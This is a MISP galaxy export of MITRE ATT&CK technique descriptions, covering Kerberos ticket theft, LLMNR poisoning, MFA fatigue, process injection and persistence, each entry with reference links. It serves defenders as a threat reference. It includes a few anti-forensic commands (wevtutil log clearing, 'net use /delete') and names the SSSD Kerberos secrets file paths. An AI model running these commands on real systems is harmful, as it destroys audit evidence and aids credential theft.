https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-7.html

Remotely Wipe Data Without Authorization - T1469

An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud services (e.g. Google's Android Device Manager or Apple iCloud's Find my iPhone) or to an EMM console could use that access to wipe enrolled devices (Citation: Honan-Hacking).

The tag is: *misp-galaxy:mitre-attack-pattern="Remotely Wipe Data Without Authorization - T1469"*

Table 3721. Table References

Links
https://attack.mitre.org/techniques/T1469
https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-5.html
https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-7.html
https://www.wired.com/2012/08/apple-amazon-mat-honan-hacking/

Install Insecure or Malicious Configuration - T1478

An adversary could attempt to install insecure or malicious configuration settings on the mobile device, through means such as phishing emails or text messages either directly containing the configuration settings as an attachment, or containing a web link to the configuration settings. The device user may be tricked into installing the configuration settings through social engineering techniques (Citation: Symantec-iOSProfile).

For example, an unwanted Certification Authority (CA) certificate could be placed in the device's trusted certificate store, increasing the device's susceptibility to adversary-in-the-middle network attacks seeking to eavesdrop on or manipulate the device's network communication ([Eavesdrop on Insecure Network Communication](https://attack.mitre.org/techniques/T1439) and [Manipulate Device Communication](https://attack.mitre.org/techniques/T1463)).

On iOS, malicious Configuration Profiles could contain unwanted Certification Authority (CA) certificates or other insecure settings such as unwanted proxy server or VPN settings to route the device's network traffic through an adversary's system. The device could also potentially be enrolled into a malicious Mobile Device Management (MDM) system (Citation: Talos-MDM).

The tag is: *misp-galaxy:mitre-attack-pattern="Install Insecure or Malicious Configuration - T1478"*

Table 3722. Table References

Links
https://attack.mitre.org/techniques/T1478
https://blog.talosintelligence.com/2018/07/Mobile-Malware-Campaign-uses-Malicious-MDM.html
https://pages.nist.gov/mobile-threat-catalogue/stack-threats/STA-7.html
https://www.symantec.com/connect/blogs/malicious-profiles-sleeping-giant-ios-security

Steal or Forge Kerberos Tickets - T1558

Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as "realms", there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting. Adversaries may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.

On Windows, the built-in <code>klist</code> utility can be used to list and analyze cached Kerberos tickets.(Citation: Microsoft Klist)

Linux systems on Active Directory domains store Kerberos credentials locally in the credential cache file referred to as the "ccache". The credentials are stored in the ccache file while they remain valid and generally while a user's session lasts.(Citation: MIT ccache) On modern Redhat Enterprise Linux systems, and derivative distributions, the System Security Services Daemon (SSSD) handles Kerberos tickets. By default SSSD maintains a copy of the ticket database that can be found in <code>/var/lib/sss/secrets/secrets.ldb</code> as well as the corresponding key located in <code>/var/lib/sss/secrets/.secrets.mkey</code>. Both files require root access to read. If an adversary is able to access the database and key, the credential cache Kerberos blob can be extracted and converted into a usable Kerberos ccache file that adversaries may use for [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). The ccache file may also be converted into a Windows format using tools such as Kekeo.(Citation: Linux Kerberos Tickets)(Citation: Brining MimiKatz to Unix)(Citation: Kekeo)

Kerberos tickets on macOS are stored in a standard ccache format, similar to Linux. By default, access to these ccache entries is federated through the KCM daemon process via the Mach RPC protocol, which uses the caller's environment to determine access. The storage location for these ccache entries is influenced by the <code>/etc/krb5.conf</code> configuration file and the <code>KRB5CCNAME</code> environment variable which can specify to save them to disk or keep them protected via the KCM daemon. Users can interact with ticket storage using <code>kinit</code>, <code>klist</code>, <code>ktutil</code>, and <code>kcc</code> built-in binaries or via Apple's native Kerberos framework. Adversaries can use open source tools to interact with the ccache files directly or to use the Kerberos framework to call lower-level APIs for extracting the user's TGT or Service Tickets.(Citation: SpectorOps Bifrost Kerberos macOS 2019)(Citation: macOS kerberos framework MIT)

The tag is: *misp-galaxy:mitre-attack-pattern="Steal or Forge Kerberos Tickets - T1558"*

Table 3723. Table References

Links
http://web.mit.edu/macdev/KfM/Common/Documentation/preferences.html
https://adsecurity.org/?p=1515
https://adsecurity.org/?p=227
https://adsecurity.org/?p=2293
https://attack.mitre.org/techniques/T1558
https://blog.stealthbits.com/detect-pass-the-ticket-attacks
https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/
https://capec.mitre.org/data/definitions/652.html

https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf
https://docs.microsoft.com/windows-server/administration/windows-commands/klist
https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285
https://github.com/gentilkiwi/kekeo
https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf
https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea
https://posts.specterops.io/when-kirbi-walks-the-bifrost-4c727807744f
https://web.mit.edu/kerberos/krb5-1.12/doc/basic/ccache_def.html
https://www.fireeye.com/blog/threat-research/2020/04/kerberos-tickets-on-linux-red-teams.html

Aggregate individual’s digital footprint - T1275

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1275).

In addition to a target’s social media presence may exist a larger digital footprint, such as accounts and credentials on e-commerce sites or usernames and logins for email. An adversary familiar with a target’s username can mine to determine the target’s larger digital footprint via publicly available sources. (Citation: DigitalFootprint) (Citation: trendmicro-vtech)

The tag is: *misp-galaxy:mitre-attack-pattern="Aggregate individual’s digital footprint - T1275"*

Table 3724. Table References

Links
https://attack.mitre.org/techniques/T1275

Domain Generation Algorithms (DGA) - T1323

This technique has been deprecated. Please use [Domain Generation Algorithms](https://attack.mitre.org/techniques/T1568/002).

The use of algorithms in malware to periodically generate a large number of domain names which function as rendezvous points for malware command and control servers. (Citation: DamballaDGA) (Citation: DambballaDGACyberCriminals)

The tag is: *misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms (DGA) - T1323"*

Table 3725. Table References

Links

https://attack.mitre.org/techniques/T1323

Unconditional client-side exploitation/Injected Website/Driveby - T1372

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.

A technique used to compromise victims wherein the victims visit a compromised website that redirects their browser to a malicious web site, such as an exploit kit's landing page. The exploit kit landing page will probe the victim's operating system, web browser, or other software to find an exploitable vulnerability to infect the victim. (Citation: GeorgeDriveBy) (Citation: BellDriveBy)

The tag is: *misp-galaxy:mitre-attack-pattern="Unconditional client-side exploitation/Injected Website/Driveby - T1372"*

Table 3726. Table References

Links
https://attack.mitre.org/techniques/T1372

LLMNR/NBT-NS Poisoning and Relay - T1171

Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR) (Citation: TechNet NetBIOS)

Adversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to obtain the plaintext passwords. In some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it. (Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay)

Several tools exist that can be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174). (Citation: GitHub NBNSpoof) (Citation: Rapid7 LLMNR Spoofer) (Citation: GitHub Responder)

The tag is: *misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and Relay - T1171"*

View relationships graph

LLMNR/NBT-NS Poisoning and Relay - T1171 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and SMB Relay - T1557.001" with estimative-language:likelihood-probability="almost-certain"

Table 3727. Table References

Links
https://attack.mitre.org/techniques/T1171
https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html
https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html
https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution
https://github.com/Kevin-Robertson/Conveigh
https://github.com/SpiderLabs/Responder
https://github.com/nomex/nbnspoof
https://technet.microsoft.com/library/cc958811.aspx
https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr_response
https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning

OS-vendor provided communication channels - T1390

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1390).

Google and Apple provide Google Cloud Messaging and Apple Push Notification Service, respectively, services designed to enable efficient communication between third-party mobile app backend servers and the mobile apps running on individual devices. These services maintain an encrypted connection between every mobile device and Google or Apple that cannot easily be inspected and must be allowed to traverse networks as part of normal device operation. These services could be used by adversaries for communication to compromised mobile devices. (Citation: Securelist Mobile Malware 2013) (Citation: DroydSeuss)

The tag is: *misp-galaxy:mitre-attack-pattern="OS-vendor provided communication channels - T1390"*

Table 3728. Table References

Links
https://attack.mitre.org/techniques/T1390

Multi-Factor Authentication Request Generation - T1621

Adversaries may attempt to bypass multi-factor authentication (MFA) mechanisms and gain access to accounts by generating MFA requests sent to users.

Adversaries in possession credentials to [Valid Accounts](https://attack.mitre.org/techniques/T1078) may be unable to complete the login process if they lack access to the 2FA or MFA mechanisms required as an additional credential and security control. To circumvent this, adversaries may abuse the automatic generation of push notifications to MFA services such as Duo Push, Microsoft Authenticator, Okta, or similar services to have the user grant access to their account.

In some cases, adversaries may continuously repeat login attempts in order to bombard users with MFA push notifications, SMS messages, and phone calls, potentially resulting in the user finally accepting the authentication request in response to “MFA fatigue.”(Citation: Russian 2FA Push Annoyance - Cimpanu)(Citation: MFA Fatigue Attacks - PortSwigger)(Citation: Suspected Russian Activity Targeting Government and Business Entities Around the Globe)

The tag is: *misp-galaxy:mitre-attack-pattern="Multi-Factor Authentication Request Generation - T1621"*

Table 3729. Table References

Links
https://attack.mitre.org/techniques/T1621
https://portswigger.net/daily-swig/mfa-fatigue-attacks-users-tricked-into-allowing-device-access-due-to-overload-of-push-notifications
https://therecord.media/russian-hackers-bypass-2fa-by-annoying-victims-with-repeated-push-notifications/
https://www.mandiant.com/resources/russian-targeting-gov-business

Rogue Wi-Fi Access Points - T1465

An adversary could set up unauthorized Wi-Fi access points or compromise existing access points and, if the device connects to them, carry out network-based attacks such as eavesdropping on or modifying network communication(Citation: NIST-SP800153)(Citation: Kaspersky-DarkHotel).

The tag is: *misp-galaxy:mitre-attack-pattern="Rogue Wi-Fi Access Points - T1465"*

Table 3730. Table References

Links
http://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-153.pdf
https://attack.mitre.org/techniques/T1465
https://blog.kaspersky.com/darkhotel-apt/6613/
https://pages.nist.gov/mobile-threat-catalogue/lan-pan-threats/LPN-0.html

Clear Windows Event Logs - T1070.001

Adversaries may clear Windows Event Logs to hide the activity of an intrusion. Windows Event Logs are a record of a computer's alerts and notifications. There are three system-defined sources of events: System, Application, and Security, with five event types: Error, Warning, Information, Success Audit, and Failure Audit.

The event logs can be cleared with the following utility commands:

- <code>wevtutil cl system</code>
- <code>wevtutil cl application</code>
- <code>wevtutil cl security</code>

These logs may also be cleared through other mechanisms, such as the event viewer GUI or [PowerShell](https://attack.mitre.org/techniques/T1059/001).

The tag is: *misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001"*

Table 3731. Table References

Links
https://attack.mitre.org/techniques/T1070/001
https://docs.microsoft.com/powershell/module/microsoft.powershell.management/clear-eventlog
https://docs.microsoft.com/windows-server/administration/windows-commands/wevtutil
https://msdn.microsoft.com/library/system.diagnostics.eventlog.clear.aspx

Network Share Connection Removal - T1070.005

Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the <code>net use \\system\share /delete</code> command. (Citation: Technet Net Use)

The tag is: *misp-galaxy:mitre-attack-pattern="Network Share Connection Removal - T1070.005"*

Table 3732. Table References

Links
https://attack.mitre.org/techniques/T1070/005
https://technet.microsoft.com/bb490717.aspx

Distributed Component Object Model - T1021.003

Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user.

The Windows Component Object Model (COM) is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE). Distributed COM (DCOM) is transparent middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)(Citation: Microsoft COM)

Permissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry.(Citation: Microsoft Process Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.(Citation: Microsoft COM ACL)

Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document. DCOM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). (Citation: MSDN WMI)

The tag is: *misp-galaxy:mitre-attack-pattern="Distributed Component Object Model - T1021.003"*

Table 3733. Table References

Links
https://attack.mitre.org/techniques/T1021/003
https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1
https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/
https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/
https://msdn.microsoft.com/en-us/library/aa394582.aspx
https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx
https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx
https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom

https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html

Network Device Configuration Dump - T1602.002

Adversaries may access network configuration files to collect sensitive data about the device and the network. The network configuration is a file containing parameters that determine the operation of the device. The device typically stores an in-memory copy of the configuration while operating, and a separate configuration on non-volatile storage to load after device reset. Adversaries can inspect the configuration files to reveal information about the target network and its layout, the network device and its software, or identifying legitimate accounts and credentials for later use.

Adversaries can use common management tools and protocols, such as Simple Network Management Protocol (SNMP) and Smart Install (SMI), to access network configuration files.(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks) These tools may be used to query specific data from a configuration repository or configure the device to export the configuration for later analysis.

The tag is: *misp-galaxy:mitre-attack-pattern="Network Device Configuration Dump - T1602.002"*

Table 3734. Table References

Links
https://attack.mitre.org/techniques/T1602/002
https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
https://us-cert.cisa.gov/ncas/alerts/TA18-106A
https://www.us-cert.gov/ncas/alerts/TA18-086A

Indicator Removal from Tools - T1027.005

Adversaries may remove indicators from tools if they believe their malicious tool was detected, quarantined, or otherwise curtailed. They can modify the tool by removing the indicator and using the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.

A good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may modify the file to explicitly avoid that signature, and then re-use the malware.

The tag is: *misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1027.005"*

Table 3735. Table References

Links
https://attack.mitre.org/techniques/T1027/005

Additional Email Delegate Permissions - T1098.002

Adversaries may grant additional permission levels to maintain persistent access to an adversary-controlled email account.

For example, the <code>Add-MailboxPermission</code> [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission)(Citation: FireEye APT35 2018)(Citation: Crowdstrike Hiding in Plain Sight 2018) In Google Workspace, delegation can be enabled via the Google Admin console and users can delegate accounts via their Gmail settings.(Citation: Gmail Delegation)(Citation: Google Ensuring Your Information is Safe)

Adversaries may also assign mailbox folder permissions through individual folder permissions or roles. In Office 365 environments, adversaries may assign the Default or Anonymous user permissions or roles to the Top of Information Store (root), Inbox, or other mailbox folders. By assigning one or both user permissions to a folder, the adversary can utilize any other account in the tenant to maintain persistence to the target user's mail folders.(Citation: Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452)

This may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can add [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)), so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019)

The tag is: *misp-galaxy:mitre-attack-pattern="Additional Email Delegate Permissions - T1098.002"*

Table 3736. Table References

Links
https://attack.mitre.org/techniques/T1098/002
https://docs.microsoft.com/en-us/powershell/module/exchange/mailboxes/add-mailboxpermission?view=exchange-ps
https://googleblog.blogspot.com/2011/06/ensuring-your-information-is-safe.html
https://support.google.com/a/answer/7223765?hl=en
https://www.crowdstrike.com/blog/hiding-in-plain-sight-using-the-office-365-activities-api-to-investigate-business-email-compromises/
https://www.fireeye.com/blog/threat-research/2021/01/remediation-and-hardening-strategies-for-microsoft-365-to-defend-against-unc2452.html
https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf
https://www.slideshare.net/DouglasBienstock/shmoocon-2019-becs-and-beyond-investigating-and-defending-office-365

Masquerade Task or Service - T1036.004

Adversaries may attempt to manipulate the name of a task or service to make it appear legitimate or benign. Tasks/services executed by the Task Scheduler or systemd will typically be given a name and/or description.(Citation: TechNet Schtasks)(Citation: Systemd Service Units) Windows services will have a service name as well as a display name. Many benign tasks and services exist that have commonly associated names. Adversaries may give tasks or services names that are similar or identical to those of legitimate ones.

Tasks or services contain other fields, such as a description, that adversaries may attempt to make appear legitimate.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Fysbis Dr Web Analysis)

The tag is: *misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004"*

Table 3737. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/
https://attack.mitre.org/techniques/T1036/004
https://technet.microsoft.com/en-us/library/bb490996.aspx
https://vms.drweb.com/virus/?i=4276269
https://www.freedesktop.org/software/systemd/man/systemd.service.html

Archive via Custom Method - T1560.003

An adversary may compress or encrypt data that is collected prior to exfiltration using a custom method. Adversaries may choose to use custom archival methods, such as encryption with XOR or stream ciphers implemented with no external library or utility references. Custom implementations of well-known compression algorithms have also been used.(Citation: ESET Sednit Part 2)

The tag is: *misp-galaxy:mitre-attack-pattern="Archive via Custom Method - T1560.003"*

Table 3738. Table References

Links
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf
https://attack.mitre.org/techniques/T1560/003

Extra Window Memory Injection - T1055.011

Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.

Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).(Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)

Although small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process's memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process's EWM.

Execution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as <code>WriteProcessMemory</code> and <code>CreateRemoteThread</code>.(Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process.

The tag is: *misp-galaxy:mitre-attack-pattern="Extra Window Memory Injection - T1055.011"*

Table 3739. Table References

Links
https://attack.mitre.org/techniques/T1055/011
https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx
https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx
https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx
https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx
https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html
https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/

Create Process with Token - T1134.002

Adversaries may create a new process with a different token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as <code>CreateProcessWithTokenW</code> and <code>runas</code>.(Citation: Microsoft RunAs)

Creating processes with a different token may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used (ex: gathered via other means such as [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) or [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003)).

The tag is: *misp-galaxy:mitre-attack-pattern="Create Process with Token - T1134.002"*

Table 3740. Table References

Links
https://attack.mitre.org/techniques/T1134/002
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771525(v=ws.11)
https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing

Disable or Modify Tools - T1562.001

Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take the many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information.

Adversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls)

The tag is: *misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001"*

Table 3741. Table References

Links
https://attack.mitre.org/techniques/T1562/001
https://capec.mitre.org/data/definitions/578.html
https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/
https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/

Compromise Software Supply Chain - T1195.002

Adversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified version.

Targeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Avast CCleaner3 2018)(Citation: Command Five SK 2011)

The tag is: *misp-galaxy:mitre-attack-pattern="Compromise Software Supply Chain - T1195.002"*

Table 3742. Table References

Links
https://attack.mitre.org/techniques/T1195/002
https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities
https://www.commandfive.com/papers/C5_APT_SKHack.pdf

Make and Impersonate Token - T1134.003

Adversaries may make and impersonate tokens to escalate privileges and bypass access controls. If an adversary has a username and password but the user is not logged onto the system, the adversary can then create a logon session for the user using the <code>LogonUser</code> function. The function will return a copy of the new session's access token and the adversary can use <code>SetThreadToken</code> to assign the token to a thread.

The tag is: *misp-galaxy:mitre-attack-pattern="Make and Impersonate Token - T1134.003"*

Table 3743. Table References

Links
https://attack.mitre.org/techniques/T1134/003
https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing

Compromise Hardware Supply Chain - T1195.003

Adversaries may manipulate hardware components in products prior to receipt by a final consumer for the purpose of data or system compromise. By modifying hardware or firmware in the supply chain, adversaries can insert a backdoor into consumer networks that may be difficult to detect and give the adversary a high degree of control over the system. Hardware backdoors may be inserted into various devices, such as servers, workstations, network infrastructure, or peripherals.

The tag is: *misp-galaxy:mitre-attack-pattern="Compromise Hardware Supply Chain - T1195.003"*

Table 3744. Table References

Links
https://attack.mitre.org/techniques/T1195/003

Change Default File Association - T1546.001

Adversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility.(Citation: Microsoft Change Default Programs)(Citation: Microsoft File Handlers)(Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.

System file associations are listed under <code>HKEY_CLASSES_ROOT\.[extension]</code>, for example <code>HKEY_CLASSES_ROOT\.txt</code>. The entries point to a handler for that extension located at <code>HKEY_CLASSES_ROOT\\[handler]</code>. The various commands are then listed as subkeys underneath the shell key at <code>HKEY_CLASSES_ROOT\\[handler]\shell\\[action]\command</code>. For example:

- <code>HKEY_CLASSES_ROOT\txtfile\shell\open\command</code>
- <code>HKEY_CLASSES_ROOT\txtfile\shell\print\command</code>
- <code>HKEY_CLASSES_ROOT\txtfile\shell\printto\command</code>

The values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands.(Citation: TrendMicro TROJ-FAKEAV OCT 2012)

The tag is: *misp-galaxy:mitre-attack-pattern="Change Default File Association - T1546.001"*

Table 3745. Table References

Links
http://msdn.microsoft.com/en-us/library/bb166549.aspx
https://attack.mitre.org/techniques/T1546/001
https://capec.mitre.org/data/definitions/556.html
https://docs.microsoft.com/windows-server/administration/windows-commands/assoc
https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd

Hidden Files and Directories - T1564.001

Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (<code>dir /a</code> for Windows and <code>ls –a</code> for Linux and macOS).

On Linux and Mac, users can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folders that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable.

Files on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys.

Adversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.

The tag is: *misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001"*

Table 3746. Table References

Links
https://attack.mitre.org/techniques/T1564/001
https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/
https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/
